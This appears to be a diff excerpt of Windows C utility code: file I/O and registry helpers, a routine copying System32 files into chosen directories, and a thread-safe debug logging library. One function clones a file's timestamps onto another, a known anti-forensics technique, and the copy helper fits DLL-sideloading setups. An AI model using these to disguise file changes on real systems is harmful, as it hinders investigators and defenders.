|
||||
|
||||
_END_OF_FUNC:
|
||||
CLOSE_HANDLE(hFile);
|
||||
if (!*ppFileBuffer) { HEAP_FREE(pBaseAddress); }
|
||||
return (*ppFileBuffer && *pdwFileSize) ? TRUE : FALSE;
|
||||
}
|
||||
|
||||
BOOL WriteFileToDiskW(IN LPCWSTR pszFileName, IN CONST BYTE* pbDataBuffer, IN DWORD dwDataLength)
|
||||
{
|
||||
HANDLE hFile = INVALID_HANDLE_VALUE;
|
||||
DWORD dwNumerOfBytesWritten = 0x00;
|
||||
BOOL bResult = FALSE;
|
||||
|
||||
if (!pszFileName || !pbDataBuffer || dwDataLength == 0x00)
|
||||
return FALSE;
|
||||
|
||||
if ((hFile = CreateFileW(pszFileName, GENERIC_WRITE, 0x00, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
DBG_LAST_ERROR("CreateFileW");
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
if (!WriteFile(hFile, pbDataBuffer, dwDataLength, &dwNumerOfBytesWritten, NULL) || dwNumerOfBytesWritten != dwDataLength)
|
||||
{
|
||||
DBG_LAST_ERROR("WriteFile");
|
||||
DBG("[i] Wrote %d Of %d Bytes", dwNumerOfBytesWritten, dwDataLength);
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
bResult = TRUE;
|
||||
|
||||
_END_OF_FUNC:
|
||||
CLOSE_HANDLE(hFile);
|
||||
return bResult;
|
||||
}
|
||||
|
||||
BOOL CloneFileTimestampsW(IN LPCWSTR pwszSrcPath, IN LPCWSTR pwszDstPath)
|
||||
{
|
||||
HANDLE hSrcFile = INVALID_HANDLE_VALUE,
|
||||
hDstFile = INVALID_HANDLE_VALUE;
|
||||
FILETIME ftCreation = { 0 },
|
||||
ftLastAccess = { 0 },
|
||||
ftLastWrite = { 0 };
|
||||
BOOL bResult = FALSE;
|
||||
|
||||
if (!pwszSrcPath || !pwszDstPath)
|
||||
return FALSE;
|
||||
|
||||
if ((hSrcFile = CreateFileW(pwszSrcPath, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL)) == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
DBG_LAST_ERROR("CreateFileW");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (!GetFileTime(hSrcFile, &ftCreation, &ftLastAccess, &ftLastWrite))
|
||||
{
|
||||
DBG_LAST_ERROR("GetFileTime");
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
if ((hDstFile = CreateFileW(pwszDstPath, FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL)) == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
DBG_LAST_ERROR("CreateFileW");
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
if (!SetFileTime(hDstFile, &ftCreation, &ftLastAccess, &ftLastWrite))
|
||||
{
|
||||
DBG_LAST_ERROR("SetFileTime");
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
bResult = TRUE;
|
||||
|
||||
_END_OF_FUNC:
|
||||
CLOSE_HANDLE(hSrcFile);
|
||||
CLOSE_HANDLE(hDstFile);
|
||||
return bResult;
|
||||
}
|
||||
|
||||
#pragma endregion
|
||||
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
|
||||
#pragma region REG_IO
|
||||
|
||||
BOOL SetRegistryStringW(IN HKEY hRoot, IN LPCWSTR pwszPath, IN LPCWSTR pwszName, IN LPCWSTR pwszValue, IN BOOL bOverwrite)
|
||||
{
|
||||
HKEY hKey = NULL;
|
||||
DWORD dwDisposition = 0x00;
|
||||
LSTATUS lStatus = ERROR_SUCCESS;
|
||||
BOOL bResult = FALSE;
|
||||
|
||||
if ((lStatus = RegCreateKeyExW(hRoot, pwszPath, 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition)) != ERROR_SUCCESS)
|
||||
{
|
||||
DBG_HEX_ERROR("RegCreateKeyExW", lStatus);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (dwDisposition == REG_OPENED_EXISTING_KEY && !bOverwrite)
|
||||
{
|
||||
DBG("[i] Registry Key Already Exists, Skipping");
|
||||
bResult = TRUE;
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
if ((lStatus = RegSetValueExW(hKey, pwszName, 0, REG_SZ, (LPBYTE)pwszValue, (DWORD)((lstrlenW(pwszValue) + 1) * sizeof(WCHAR)))) != ERROR_SUCCESS)
|
||||
{
|
||||
DBG_HEX_ERROR("RegSetValueExW", lStatus);
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
bResult = TRUE;
|
||||
|
||||
_END_OF_FUNC:
|
||||
RegCloseKey(hKey);
|
||||
return bResult;
|
||||
}
|
||||
|
||||
BOOL SetRegistryDwordW(IN HKEY hRoot, IN LPCWSTR pwszPath, IN LPCWSTR pwszName, IN DWORD dwValue, IN BOOL bOverwrite)
|
||||
{
|
||||
HKEY hKey = NULL;
|
||||
DWORD dwDisposition = 0x00;
|
||||
LSTATUS lStatus = ERROR_SUCCESS;
|
||||
BOOL bResult = FALSE;
|
||||
|
||||
if ((lStatus = RegCreateKeyExW(hRoot, pwszPath, 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition)) != ERROR_SUCCESS)
|
||||
{
|
||||
DBG_HEX_ERROR("RegCreateKeyExW", lStatus);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (dwDisposition == REG_OPENED_EXISTING_KEY && !bOverwrite)
|
||||
{
|
||||
DBG("[i] Registry Key Already Exists, Skipping");
|
||||
bResult = TRUE;
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
if ((lStatus = RegSetValueExW(hKey, pwszName, 0, REG_DWORD, (LPBYTE)&dwValue, sizeof(DWORD))) != ERROR_SUCCESS)
|
||||
{
|
||||
DBG_HEX_ERROR("RegSetValueExW", lStatus);
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
bResult = TRUE;
|
||||
|
||||
_END_OF_FUNC:
|
||||
RegCloseKey(hKey);
|
||||
return bResult;
|
||||
}
|
||||
|
||||
BOOL GetRegistryDwordW(IN HKEY hRoot, IN LPCWSTR pwszPath, IN LPCWSTR pwszName, OUT PDWORD pdwOutput)
|
||||
{
|
||||
HKEY hKey = NULL;
|
||||
DWORD dwType = REG_DWORD,
|
||||
dwDataLength = sizeof(DWORD);
|
||||
LSTATUS lStatus = ERROR_SUCCESS;
|
||||
BOOL bResult = FALSE;
|
||||
|
||||
if ((lStatus = RegOpenKeyExW(hRoot, pwszPath, 0, KEY_READ, &hKey)) != ERROR_SUCCESS)
|
||||
{
|
||||
DBG_HEX_ERROR("RegOpenKeyExW", lStatus);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if ((lStatus = RegQueryValueExW(hKey, pwszName, NULL, &dwType, (LPBYTE)pdwOutput, &dwDataLength)) != ERROR_SUCCESS)
|
||||
{
|
||||
DBG_HEX_ERROR("RegQueryValueExW", lStatus);
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
bResult = TRUE;
|
||||
|
||||
_END_OF_FUNC:
|
||||
RegCloseKey(hKey);
|
||||
return bResult;
|
||||
}
|
||||
|
||||
BOOL DeleteRegistryKeyW(IN HKEY hRoot, IN LPCWSTR pwszPath)
|
||||
{
|
||||
LSTATUS lStatus = ERROR_SUCCESS;
|
||||
|
||||
if ((lStatus = RegDeleteTreeW(hRoot, pwszPath)) != ERROR_SUCCESS)
|
||||
{
|
||||
DBG_HEX_ERROR("RegDeleteTreeW", lStatus);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
#pragma endregion
|
||||
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
|
||||
#pragma region FILE_SYSTEM
|
||||
|
||||
// Builds the full path to a file in the System32 directory.
|
||||
BOOL GetSystem32PathW(IN LPCWSTR pwszFileName, OUT LPWSTR pwszOutPath, IN DWORD dwOutSize)
|
||||
{
|
||||
WCHAR wszSystem32Path[MAX_PATH] = { 0 };
|
||||
|
||||
if (!pwszFileName || !pwszOutPath || !dwOutSize)
|
||||
return FALSE;
|
||||
|
||||
if (!GetSystemDirectoryW(wszSystem32Path, ARRAYSIZE(wszSystem32Path)))
|
||||
{
|
||||
DBG_LAST_ERROR("GetSystemDirectoryW");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (wsprintfW(pwszOutPath, L"%s\\%s", wszSystem32Path, pwszFileName) < 0)
|
||||
{
|
||||
DBG_LAST_ERROR("wsprintfW");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
// Extracts the directory component from a full file path, or uses the path as-is
|
||||
// if it is already a directory (when bIsFilePath is false), and creates the directory if it doesn't exist
|
||||
BOOL EnsureDirectoryExistsW(IN LPCWSTR pwszPath, IN BOOL bIsFilePath)
|
||||
{
|
||||
WCHAR wszDirPath[MAX_PATH] = { 0 };
|
||||
HRESULT hResult = S_OK;
|
||||
|
||||
if (!pwszPath) return FALSE;
|
||||
|
||||
if (FAILED((hResult = StringCchCopyW(wszDirPath, ARRAYSIZE(wszDirPath), pwszPath))))
|
||||
{
|
||||
DBG_HEX_ERROR("StringCchCopyW", hResult);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (bIsFilePath) PathRemoveFileSpecW(wszDirPath);
|
||||
|
||||
if (!CreateDirectoryW(wszDirPath, NULL) && GetLastError() != ERROR_ALREADY_EXISTS)
|
||||
{
|
||||
DBG_LAST_ERROR("CreateDirectoryW");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Copies a file to a destination directory, while creating the directory if it doesn't exist.
|
||||
* It calls both EnsureDirectoryExistsW and GetSystem32PathW depending on the parameters:
|
||||
*
|
||||
* pwszDestPath [IN] - Destination directory path. Supports environment variables, this is created if doesnt exist.
|
||||
* pwszDestName [IN/OPTIONAL] - Destination file name. If NULL, the source file name is used.
|
||||
* pwszSrcPath [IN/OPTIONAL] - Source directory path. If NULL, System32 is used as the source directory.
|
||||
* pwszSrcName [IN] - Source file name.
|
||||
* pwszOutFullPath [OUT/OPTIONAL] - Output parameter that receives the full destination path of the copied file. If NULL, ignored.
|
||||
* dwOutFullPathSize [IN/OPTIONAL] - Output parameter that receives the size of the outputted pwszOutFullPath buffer in characters.
|
||||
*/
|
||||
|
||||
BOOL CopyFileToDirW(IN LPCWSTR pwszDestPath, IN OPTIONAL LPCWSTR pwszDestName, IN OPTIONAL LPCWSTR pwszSrcPath, IN LPCWSTR pwszSrcName, OUT OPTIONAL LPWSTR pwszOutFullPath, IN OPTIONAL DWORD dwOutFullPathSize)
|
||||
{
|
||||
WCHAR wszExpandedDestPath[MAX_PATH] = { 0 };
|
||||
WCHAR wszFullSrcPath[MAX_PATH] = { 0 };
|
||||
WCHAR wszFullDestPath[MAX_PATH] = { 0 };
|
||||
HRESULT hResult = S_OK;
|
||||
LPCWSTR pwszFinalDestName = NULL;
|
||||
|
||||
if (!pwszDestPath || !pwszSrcName) return FALSE;
|
||||
if (pwszOutFullPath && !dwOutFullPathSize) return FALSE;
|
||||
|
||||
// Expand environment variables in the destination path if any
|
||||
if (!ExpandEnvironmentStringsW(pwszDestPath, wszExpandedDestPath, ARRAYSIZE(wszExpandedDestPath)))
|
||||
{
|
||||
DBG_LAST_ERROR("ExpandEnvironmentStringsW");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Create the destination directory if it doesn't exist
|
||||
if (!EnsureDirectoryExistsW(wszExpandedDestPath, FALSE))
|
||||
return FALSE;
|
||||
|
||||
// If no source path provided, copy from System32
|
||||
if (pwszSrcPath == NULL)
|
||||
{
|
||||
if (!GetSystem32PathW(pwszSrcName, wszFullSrcPath, ARRAYSIZE(wszFullSrcPath)))
|
||||
return FALSE;
|
||||
}
|
||||
else
|
||||
{
|
||||
if (wsprintfW(wszFullSrcPath, L"%s\\%s", pwszSrcPath, pwszSrcName) < 0)
|
||||
{
|
||||
DBG_LAST_ERROR("wsprintfW");
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
// If no destination name provided, use the source name
|
||||
pwszFinalDestName = (pwszDestName != NULL) ? pwszDestName : pwszSrcName;
|
||||
|
||||
// Build the full destination path
|
||||
if (wsprintfW(wszFullDestPath, L"%s\\%s", wszExpandedDestPath, pwszFinalDestName) < 0)
|
||||
{
|
||||
DBG_LAST_ERROR("wsprintfW");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Copy the file, fail if destination already exists
|
||||
if (!CopyFileW(wszFullSrcPath, wszFullDestPath, TRUE))
|
||||
{
|
||||
DBG_LAST_ERROR("CopyFileW");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// If the caller provided an output buffer, fill it with the full destination path
|
||||
if (pwszOutFullPath != NULL)
|
||||
{
|
||||
if (FAILED((hResult = StringCchCopyW(pwszOutFullPath, dwOutFullPathSize, wszFullDestPath))))
|
||||
{
|
||||
DBG_HEX_ERROR("StringCchCopyW", hResult);
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
#pragma endregion
|
||||
@@ -0,0 +1,262 @@
|
||||
#include "DebugMacros.h"
|
||||
|
||||
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
// FLS
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
|
||||
static DWORD g_dwFlsIdx = FLS_OUT_OF_INDEXES;
|
||||
|
||||
static VOID WINAPI DbgFlsDestructor(IN PVOID pBuffer)
|
||||
{
|
||||
if (pBuffer)
|
||||
{
|
||||
LocalFree((HLOCAL)pBuffer);
|
||||
}
|
||||
}
|
||||
|
||||
static LPSTR DbgGetBuffer(VOID)
|
||||
{
|
||||
DWORD dwCandidateSlot = 0x00,
|
||||
dwFlsSlot = 0x00;
|
||||
LPSTR pThreadBuffer = NULL;
|
||||
|
||||
if ((DWORD)InterlockedOr((LONG volatile*)&g_dwFlsIdx, 0) == FLS_OUT_OF_INDEXES)
|
||||
{
|
||||
// Allocate one FLS slot process-wide
|
||||
if ((dwCandidateSlot = FlsAlloc(DbgFlsDestructor)) == FLS_OUT_OF_INDEXES)
|
||||
return NULL;
|
||||
|
||||
// Loser of the race discards its slot
|
||||
if ((DWORD)InterlockedCompareExchange((LONG volatile*)&g_dwFlsIdx, (LONG)dwCandidateSlot, (LONG)FLS_OUT_OF_INDEXES) != FLS_OUT_OF_INDEXES)
|
||||
FlsFree(dwCandidateSlot);
|
||||
}
|
||||
|
||||
dwFlsSlot = (DWORD)InterlockedOr((LONG volatile*)&g_dwFlsIdx, 0);
|
||||
pThreadBuffer = (LPSTR)FlsGetValue(dwFlsSlot);
|
||||
|
||||
// First call on this thread
|
||||
if (pThreadBuffer == NULL)
|
||||
{
|
||||
// Allocate the thread's private buffer
|
||||
if ((pThreadBuffer = (LPSTR)LocalAlloc(LPTR, BUFFER_SIZE_2048)) == NULL)
|
||||
return NULL;
|
||||
|
||||
FlsSetValue(dwFlsSlot, pThreadBuffer);
|
||||
}
|
||||
|
||||
return pThreadBuffer;
|
||||
}
|
||||
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
// FILE SINK
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
#ifdef _DBG_USE_FILE
|
||||
|
||||
static CHAR g_szLogFilename[MAX_PATH] = { 0 };
|
||||
static SRWLOCK g_srwFileLock = SRWLOCK_INIT;
|
||||
static LONG g_lFilenameReady = 0x00;
|
||||
static LONG g_lFileCreated = 0x00;
|
||||
static HANDLE g_hLogFile = NULL;
|
||||
|
||||
// Derives "<exename>.log" from the running image path, runs once
|
||||
static VOID DbgEnsureLogFilename(VOID)
|
||||
{
|
||||
CHAR szExePath[MAX_PATH] = { 0 };
|
||||
LPSTR pszExeName = NULL,
|
||||
pszExtension = NULL;
|
||||
|
||||
if (InterlockedCompareExchange(&g_lFilenameReady, 1, 0) == 0)
|
||||
{
|
||||
GetModuleFileNameA(NULL, szExePath, MAX_PATH);
|
||||
|
||||
pszExeName = PathFindFileNameA(szExePath);
|
||||
pszExtension = PathFindExtensionA(pszExeName);
|
||||
|
||||
// Strip the .exe extension before appending .log
|
||||
if (pszExtension) *pszExtension = '\0';
|
||||
|
||||
wsprintfA(g_szLogFilename, "%s.log", pszExeName);
|
||||
}
|
||||
}
|
||||
|
||||
static VOID DbgSinkFile(LPCSTR pszBuffer)
|
||||
{
|
||||
DWORD dwAccess = 0x00,
|
||||
dwCreationDisp = 0x00,
|
||||
dwBytesWritten = 0x00;
|
||||
|
||||
AcquireSRWLockExclusive(&g_srwFileLock);
|
||||
|
||||
// Open the file handle on first write
|
||||
if (g_hLogFile == NULL)
|
||||
{
|
||||
DbgEnsureLogFilename();
|
||||
|
||||
// First open ever: truncates
|
||||
if (InterlockedCompareExchange(&g_lFileCreated, 1, 0) == 0)
|
||||
{
|
||||
dwAccess = GENERIC_WRITE;
|
||||
dwCreationDisp = CREATE_ALWAYS;
|
||||
}
|
||||
// Subsequent opens: append
|
||||
else
|
||||
{
|
||||
dwAccess = FILE_APPEND_DATA;
|
||||
dwCreationDisp = OPEN_ALWAYS;
|
||||
}
|
||||
|
||||
if ((g_hLogFile = CreateFileA(g_szLogFilename, dwAccess, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, dwCreationDisp, 0, NULL)) == INVALID_HANDLE_VALUE)
|
||||
g_hLogFile = NULL;
|
||||
}
|
||||
|
||||
if (g_hLogFile)
|
||||
WriteFile(g_hLogFile, pszBuffer, (DWORD)lstrlenA(pszBuffer), &dwBytesWritten, NULL);
|
||||
|
||||
ReleaseSRWLockExclusive(&g_srwFileLock);
|
||||
}
|
||||
|
||||
|
||||
static VOID DbgCloseFile(VOID)
|
||||
{
|
||||
AcquireSRWLockExclusive(&g_srwFileLock);
|
||||
|
||||
if (g_hLogFile)
|
||||
{
|
||||
CloseHandle(g_hLogFile);
|
||||
g_hLogFile = NULL;
|
||||
}
|
||||
|
||||
ReleaseSRWLockExclusive(&g_srwFileLock);
|
||||
}
|
||||
|
||||
#endif // _DBG_USE_FILE
|
||||
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
// CONSOLE SINK
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
|
||||
#ifdef _DBG_USE_CONSOLE
|
||||
|
||||
static HANDLE g_hConsole = INVALID_HANDLE_VALUE;
|
||||
static LONG g_lConReady = 0x00;
|
||||
static LONG g_lConAllocated = 0x00;
|
||||
|
||||
static VOID DbgEnsureConsole(VOID)
|
||||
{
|
||||
HANDLE hConsole = NULL;
|
||||
|
||||
if (InterlockedCompareExchange(&g_lConReady, 1, 0) == 0)
|
||||
{
|
||||
hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
|
||||
|
||||
// No existing console
|
||||
if (hConsole == INVALID_HANDLE_VALUE || hConsole == NULL)
|
||||
{
|
||||
// Allocate one
|
||||
if (AllocConsole())
|
||||
{
|
||||
InterlockedExchange(&g_lConAllocated, 1);
|
||||
hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
|
||||
}
|
||||
}
|
||||
|
||||
InterlockedExchangePointer((PVOID volatile*)&g_hConsole, (hConsole && hConsole != INVALID_HANDLE_VALUE) ? hConsole : (PVOID)INVALID_HANDLE_VALUE);
|
||||
}
|
||||
}
|
||||
|
||||
static VOID DbgSinkConsole(LPCSTR pszBuffer)
|
||||
{
|
||||
HANDLE hConsole = NULL;
|
||||
DWORD dwBytesWritten = 0x00;
|
||||
|
||||
DbgEnsureConsole();
|
||||
|
||||
// Snapshot the handle in case DbgClose races with us
|
||||
hConsole = (HANDLE)InterlockedCompareExchangePointer((PVOID volatile*)&g_hConsole, NULL, NULL);
|
||||
|
||||
if (hConsole != INVALID_HANDLE_VALUE && hConsole != NULL)
|
||||
WriteFile(hConsole, pszBuffer, (DWORD)lstrlenA(pszBuffer), &dwBytesWritten, NULL);
|
||||
}
|
||||
|
||||
static VOID DbgCloseConsole(VOID)
|
||||
{
|
||||
// Invalidate the handle before freeing so no thread writes to it after
|
||||
InterlockedExchangePointer((PVOID volatile*)&g_hConsole, (PVOID)INVALID_HANDLE_VALUE);
|
||||
|
||||
if (InterlockedExchange(&g_lConAllocated, 0) == 1)
|
||||
FreeConsole();
|
||||
|
||||
InterlockedExchange(&g_lConReady, 0);
|
||||
}
|
||||
|
||||
#endif // _DBG_USE_CONSOLE
|
||||
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
// PUBLIC FUNCTIONS
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
|
||||
VOID DbgWrite(LPCSTR pszFile, INT nLine, LPCSTR pszFmt, ...)
|
||||
{
|
||||
DWORD dwSavedError = 0x00;
|
||||
INT cchWritten = 0x00;
|
||||
LPSTR pszBuffer = NULL;
|
||||
va_list pszVaArgs = NULL;
|
||||
|
||||
// Capture the caller's last error before running our logic
|
||||
dwSavedError = GetLastError();
|
||||
|
||||
if ((pszBuffer = DbgGetBuffer()) == NULL)
|
||||
goto _END_OF_FUNC;
|
||||
|
||||
va_start(pszVaArgs, pszFmt);
|
||||
cchWritten = wvsprintfA(pszBuffer, pszFmt, pszVaArgs);
|
||||
va_end(pszVaArgs);
|
||||
|
||||
if (cchWritten < 0)
|
||||
goto _END_OF_FUNC;
|
||||
|
||||
// Append file and line tag if there's room
|
||||
if (cchWritten < BUFFER_SIZE_2048 - 1)
|
||||
wsprintfA(pszBuffer + cchWritten, " [%s:%d]\n", pszFile, nLine);
|
||||
else
|
||||
{
|
||||
// Message was too long. Add '...\n\0'
|
||||
pszBuffer[BUFFER_SIZE_2048 - 5] = '.';
|
||||
pszBuffer[BUFFER_SIZE_2048 - 4] = '.';
|
||||
pszBuffer[BUFFER_SIZE_2048 - 3] = '.';
|
||||
pszBuffer[BUFFER_SIZE_2048 - 2] = '\n';
|
||||
pszBuffer[BUFFER_SIZE_2048 - 1] = '\0';
|
||||
}
|
||||
|
||||
#ifdef _DBG_USE_DEBUGSTR
|
||||
OutputDebugStringA(pszBuffer);
|
||||
#endif
|
||||
#ifdef _DBG_USE_FILE
|
||||
DbgSinkFile(pszBuffer);
|
||||
#endif
|
||||
#ifdef _DBG_USE_CONSOLE
|
||||
DbgSinkConsole(pszBuffer);
|
||||
#endif
|
||||
|
||||
_END_OF_FUNC:
|
||||
// Restore caller's last error
|
||||
SetLastError(dwSavedError);
|
||||
}
|
||||
|
||||
|
||||
VOID DbgClose(VOID)
|
||||
{
|
||||
DWORD dwFlsSlot = FLS_OUT_OF_INDEXES;
|
||||
|
||||
// Swap the slot index to FLS_OUT_OF_INDEXES
|
||||
if ((dwFlsSlot = (DWORD)InterlockedExchange((LONG volatile*)&g_dwFlsIdx, (LONG)FLS_OUT_OF_INDEXES)) != FLS_OUT_OF_INDEXES)
|
||||
FlsFree(dwFlsSlot);
|
||||
|
||||
#ifdef _DBG_USE_FILE
|
||||
DbgCloseFile();
|
||||
#endif
|
||||
#ifdef _DBG_USE_CONSOLE
|
||||
DbgCloseConsole();
|
||||
#endif
|
||||
}
|
||||
@@ -0,0 +1,94 @@
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
// Define Any Combination At The *Project Level* (compiler flags / project settings) Before Building:
|
||||
//
|
||||
// _DBG_USE_DEBUGSTR -> DbgView
|
||||
// _DBG_USE_FILE -> File
|
||||
// _DBG_USE_CONSOLE -> Console (Default)
|
||||
//
|
||||
// *In Release Mode*, None Of These Will Work Unless This Is Also Defined At The Project Level:
|
||||
//
|
||||
// _DBG_FORCE
|
||||
//
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
#pragma once
|
||||
#ifndef DEBUG_MACROS_H
|
||||
#define DEBUG_MACROS_H
|
||||
|
||||
#include <Windows.h>
|
||||
#include <Strsafe.h>
|
||||
#include <Shlwapi.h>
|
||||
|
||||
#pragma comment(lib, "Shlwapi.lib")
|
||||
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
// HELPERS
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
|
||||
#ifndef BUFFER_SIZE_2048
|
||||
#define BUFFER_SIZE_2048 2048
|
||||
#endif
|
||||
|
||||
#ifndef GET_FILENAMEA
|
||||
#define GET_FILENAMEA(PATHA) PathFindFileNameA(PATHA)
|
||||
#endif
|
||||
|
||||
#ifndef GET_FILENAMEW
|
||||
#define GET_FILENAMEW(PATHW) PathFindFileNameW(PATHW)
|
||||
#endif
|
||||
|
||||
#if !defined(_DBG_USE_DEBUGSTR) && !defined(_DBG_USE_FILE) && !defined(_DBG_USE_CONSOLE)
|
||||
#define _DBG_USE_CONSOLE
|
||||
#endif
|
||||
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
// INTERNAL FUNCTION DECLARATIONS
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
VOID DbgWrite(LPCSTR pszFile, INT nLine, LPCSTR pszFmt, ...);
|
||||
VOID DbgClose(VOID);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
// DBG & DBG_CLOSE
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
|
||||
#define DBG_CLOSE() DbgClose()
|
||||
|
||||
#if defined(_DEBUG) || defined(_DBG_FORCE)
|
||||
#define DBG(fmt, ...) DbgWrite(GET_FILENAMEA(__FILE__), __LINE__, fmt, ##__VA_ARGS__)
|
||||
#else
|
||||
#define DBG(fmt, ...) ((void)0)
|
||||
#endif
|
||||
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
// DBG_LAST_ERROR & DBG_HEX_ERROR
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
|
||||
#if defined(_DEBUG) || defined(_DBG_FORCE)
|
||||
|
||||
#define DBG_LAST_ERROR(APINAME) \
|
||||
do { \
|
||||
DWORD _dwLastErr = GetLastError(); \
|
||||
DBG("[!] %s Failed With Error: %lu", APINAME, _dwLastErr); \
|
||||
SetLastError(_dwLastErr); \
|
||||
} while (0)
|
||||
#define DBG_HEX_ERROR(APINAME, HEXCODE) DBG("[!] %s Failed With Error: 0x%0.8X", APINAME, HEXCODE)
|
||||
|
||||
#else
|
||||
|
||||
#define DBG_LAST_ERROR(APINAME) ((void)0)
|
||||
#define DBG_HEX_ERROR(APINAME, ERROR) ((void)0)
|
||||
|
||||
#endif
|
||||
|
||||
